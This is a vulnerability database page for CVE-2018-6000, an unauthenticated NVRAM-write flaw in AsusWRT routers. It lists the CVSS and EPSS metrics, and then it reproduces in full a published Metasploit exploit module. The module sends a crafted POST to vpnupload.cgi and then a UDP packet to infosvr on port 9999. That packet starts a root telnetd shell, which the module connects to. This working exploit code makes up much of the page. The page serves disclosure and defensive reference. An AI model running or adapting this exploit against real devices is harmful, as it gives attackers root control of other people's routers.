CVE-2018-6000

Score / Severity

9.8

Critical

CVE Descriptions

An issue was discovered in AsusWRT before 3.0.0.4.384_10007. The do_vpnupload_post function in router/httpd/web.c in vpnupload.cgi provides functionality for setting NVRAM configuration values, which allows attackers to set the admin password and launch an SSH daemon (or enable infosvr command mode), and consequently obtain remote administrative access, via a crafted request. This is available to unauthenticated attackers in conjunction with CVE-2018-5999.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-862	Missing Authorization The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.0	9.8	CRITICAL	CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. Unchanged An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact Metrics The Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics	nvd@nist.gov
V2	10		AV:N/AC:L/Au:N/C:C/I:C/A:C	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 44176

Publication date : 2018-02-25 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Udp def initialize(info = {}) super(update_info(info, 'Name' => 'AsusWRT LAN Unauthenticated Remote Code Execution', 'Description' => %q{ The HTTP server in AsusWRT has a flaw where it allows an unauthenticated client to perform a POST in certain cases. This can be combined with another vulnerability in the VPN configuration upload routine that sets NVRAM configuration variables directly from the POST request to enable a special command mode. This command mode can then be abused by sending a UDP packet to infosvr, which is running on port UDP 9999 to directly execute commands as root. This exploit leverages that to start telnetd in a random port, and then connects to it. It has been tested with the RT-AC68U running AsusWRT Version 3.0.0.4.380.7743. }, 'Author' => [ 'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://blogs.securiteam.com/index.php/archives/3589'], ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/asuswrt-lan-rce.txt'], ['URL', 'http://seclists.org/fulldisclosure/2018/Jan/78'], ['CVE', '2018-5999'], ['CVE', '2018-6000'] ], 'Targets' => [ [ 'AsusWRT < v3.0.0.4.384.10007', { 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find', }, }, } ], ], 'Privileged' => true, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, 'DisclosureDate' => 'Jan 22 2018', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(9999) ]) register_advanced_options( [ OptInt.new('ASUSWRTPORT', [true, 'AsusWRT HTTP portal port', 80]) ]) end def exploit # first we set the ateCommand_flag variable to 1 to allow PKT_SYSCMD # this attack can also be used to overwrite the web interface password and achieve RCE by enabling SSH and rebooting! post_data = Rex::MIME::Message.new post_data.add_part('1', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"ateCommand_flag\"") data = post_data.to_s res = send_request_cgi({ 'uri' => "/vpnupload.cgi", 'method' => 'POST', 'rport' => datastore['ASUSWRTPORT'], 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" }) if res and res.code == 200 print_good("#{peer} - Successfully set the ateCommand_flag variable.") else fail_with(Failure::Unknown, "#{peer} - Failed to set ateCommand_flag variable.") end # ... but we like to do it more cleanly, so let's send the PKT_SYSCMD as described in the comments above. info_pdu_size = 512 # expected packet size, not sure what the extra bytes are r = Random.new ibox_comm_pkt_hdr_ex = [0x0c].pack('C*') + # NET_SERVICE_ID_IBOX_INFO 0xC [0x15].pack('C*') + # NET_PACKET_TYPE_CMD 0x15 [0x33,0x00].pack('C*') + # NET_CMD_ID_MANU_CMD 0x33 r.bytes(4) + # Info, don't know what this is r.bytes(6) + # MAC address r.bytes(32) # Password telnet_port = rand((2**16)-1024)+1024 cmd = "/usr/sbin/telnetd -l /bin/sh -p #{telnet_port}" + [0x00].pack('C*') pkt_syscmd = [cmd.length,0x00].pack('C*') + # cmd length cmd # our command pkt_final = ibox_comm_pkt_hdr_ex + pkt_syscmd + r.bytes(info_pdu_size - (ibox_comm_pkt_hdr_ex + pkt_syscmd).length) connect_udp udp_sock.put(pkt_final) # we could process the response, but we don't care disconnect_udp print_status("#{peer} - Packet sent, let's sleep 10 seconds and try to connect to the router on port #{telnet_port}") sleep(10) begin ctx = { 'Msf' => framework, 'MsfExploit' => self } sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => 10 }) if not sock.nil? print_good("#{peer} - Success, shell incoming!") return handler(sock) end rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e sock.close if sock end print_bad("#{peer} - Well that didn't work... try again?") end end